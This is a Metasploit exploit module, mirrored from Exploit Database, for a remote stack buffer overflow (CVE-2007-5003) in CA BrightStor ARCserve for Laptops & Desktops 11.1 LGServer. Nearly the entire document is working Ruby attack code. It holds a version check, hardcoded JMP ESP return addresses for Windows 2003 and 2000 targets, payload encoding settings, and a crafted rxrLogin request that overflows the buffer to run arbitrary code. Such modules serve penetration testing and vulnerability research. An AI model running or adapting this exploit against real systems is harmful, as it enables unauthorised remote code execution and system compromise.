CA BrightStor ARCserve for Laptops & Desktops LGServer – Remote Buffer Overflow (Metasploit) (3)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-11-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16411/

• ##
  # $Id: lgserver_rxrlogin.rb 10892 2010-11-03 22:09:44Z mc $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
  				for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
  				overflow the buffer and execute arbitrary code.
  			},
  			'Author' => [ 'MC' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10892 $',
  			'References' =>
  				[
  					[ 'CVE', '2007-5003' ],
  					[ 'OSVDB', '41353' ],
  					[ 'BID', '24348' ],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 550,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  					'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  					[
  						[ 'Windows 2003 SP0 English', { 'Ret' => 0x71ae1f9b } ], # JMP ESP wshtcpip.dll
  						[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c30d043 } ], # JMP ESP advapi32.dll
  					],
  			'DisclosureDate' => 'Jun 6 2007',
  			'DefaultTarget' => 0))
  
  		register_options([ Opt::RPORT(1900) ], self.class)
  	end
  
  	def check
  		connect
  
  		sock.put("0000000019rxrGetServerVersion")
  		ver = sock.get_once
  
  		disconnect
  
  		if ( ver =~ /11.1.742/ )
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		buffer =rand_text_alpha_upper(17420) + [target.ret].pack('V')
  		buffer << payload.encoded + rand_text_alpha_upper(300)
  
  		sploit= "0000018124" # Command Length Field
  		sploit << "rxrLogin" # RPC Command
  		sploit <<"~~"# Constant Argument Delimiter
  		sploit <<buffer# Argument
  
  		print_status("Trying target #{target.name}...")
  		# One-shot overwrite...
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end